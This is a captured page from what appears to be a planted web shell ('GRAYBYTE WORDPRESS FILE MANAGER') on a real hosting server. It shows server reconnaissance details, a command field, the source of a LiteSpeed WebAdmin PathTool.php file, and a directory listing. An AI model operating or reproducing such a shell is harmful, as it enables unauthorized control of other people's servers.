GRAYBYTE WORDPRESS FILE MANAGER9941

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/local/lsws/admin/html.6.3.3/classes/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/local/lsws/admin/html.6.3.3/classes//PathTool.php
<?php

class PathTool
{
	public static function getAbsolutePath($root, $path)
	{
		if ( substr($path, -1) != '/' ) {
			$path .= '/';
		}
		$newPath = $this->getAbsoluteFile($root, $path);
		return $newPath;
	}

	public static function getAbsoluteFile($root, $path)
	{
		if ( substr($path, 0, 1) != '/' ) {
			$path = $root . '/' . $path;
		}
		$newPath = $this->clean($path);
		return $newPath;
	}

	public static function hasSymbolLink($path)
	{
		return ( $path != realpath($path) );
	}

	public static function clean($path)
	{
		do {
			$newS1 = $path;
			$newS = str_replace('//', '/',  $path);
			$path = $newS;
		} while ( $newS != $newS1 );

		do {
			$newS1 = $path;
			$newS = str_replace('/./', '/',  $path);
			$path = $newS;
		} while ( $newS != $newS1 );
		
		do {
			$newS1 = $path;
			$newS = preg_replace('/\/[^\/^\.]+\/\.\.\//', '/',  $path); 
			$path = $newS;
		} while ( $newS != $newS1 );

		return $path;
	}

	public static function createFile($path, &$err, $htmlname)
	{
		if (file_exists($path)) {
			$err = is_file($path) ? "Already exists $path" : "name conflicting with an existing directory $path";
			return false;
		}

		$dir = substr($path, 0, (strrpos($path, '/')));

		$dirmode = 0700; // default
		$filemode = 0600;
		$specials = ['userDB:location', 'groupDB:location'];
		if (in_array($htmlname, $specials)) {
			$dirmode = 0755; // conf dir will be group protected
			$filemode = 0644;
			$special_note = 'WebAdmin user does not have permission to create this file. You can manually create it and populate the data. Make sure it is readable by the user that web server is running as (usually nobody).';
			if (PathTool::createDir($dir, $dirmode, $err)) {
				if (touch($path)) {
					chmod($path, $filemode);
					return true;
				}
				$err = 'failed to create file ' . $path;
			}
			$err .= '. ' . $special_note;
			return false;
		}

		if (PathTool::createDir($dir, $dirmode, $err)) {
			if (touch($path)) {
				chmod($path, $filemode);
				//populate vhconf tags
				$type = 'vh';
				if ($htmlname == 'templateFile') {
					$type = 'tp';
				}
				$newconf = new ConfData($type, $path, 'newconf');
				$config = new ConfigFile();
				$res = $config->save($newconf);
				if (!$res) {
					$err = 'failed to save to file ' . $path;
					return false;
				}

				return true;
			}
			$err = 'failed to create file ' . $path;
		}

		return false;
	}

	public static function createDir($path, $mode, &$err)
	{
		if (file_exists($path)) {
			if (is_dir($path)) {
				return true;
			}
			$err = "$path is not a directory";
			return false;
		}
		$parent = substr($path, 0, (strrpos($path, '/')));
		if (strlen($parent) <= 1) {
			$err = "invalid path: $path";
			return false;
		}
		if (!file_exists($parent) && !PathTool::createDir($parent, $mode, $err)) {
			return false;
		}

		if (mkdir($path, $mode)) {
			return true;
		}
		$err = "fail to create directory $path";
		return false;
	}

	public static function isDenied($path)
	{
		$absname = realpath($path);
		if (strncmp($absname, '/etc/', 5) == 0) {
			return true;
		}
		return false;
	}

}


[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 13 2025 13:48:10
root / root
0755
ws
--
June 13 2025 13:48:10
root / root
0755
CValidation.php
26.646 KB
June 13 2025 13:48:10
root / root
0644
ConfData.php
0.84 KB
June 13 2025 13:48:10
root / root
0644
ConfigFile.php
13.871 KB
June 13 2025 13:48:10
root / root
0644
ConfigFileEx.php
4.682 KB
June 13 2025 13:48:10
root / root
0644
CustStatusCode.php
2.186 KB
June 13 2025 13:48:10
root / root
0644
DATTR_HELP.php
0.755 KB
June 13 2025 13:48:10
root / root
0644
DATTR_HELP_ITEM.php
2.534 KB
June 13 2025 13:48:10
root / root
0644
DAttrBase.php
12.424 KB
June 13 2025 13:48:10
root / root
0644
DFileSect.php
0.568 KB
June 13 2025 13:48:10
root / root
0644
DPage.php
3.752 KB
June 13 2025 13:48:10
root / root
0644
DTbl.php
17.524 KB
June 13 2025 13:48:10
root / root
0644
DUtil.php
4.218 KB
June 13 2025 13:48:10
root / root
0644
DispInfo.php
4.358 KB
June 13 2025 13:48:10
root / root
0644
GUIBase.php
3.255 KB
June 13 2025 13:48:10
root / root
0644
PathTool.php
3.017 KB
June 13 2025 13:48:10
root / root
0644
XmlTreeBuilder.php
3.266 KB
June 13 2025 13:48:10
root / root
0644
blowfish.php
25.677 KB
June 13 2025 13:48:10
root / root
0644
jCryption.php
15.917 KB
June 13 2025 13:48:10
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF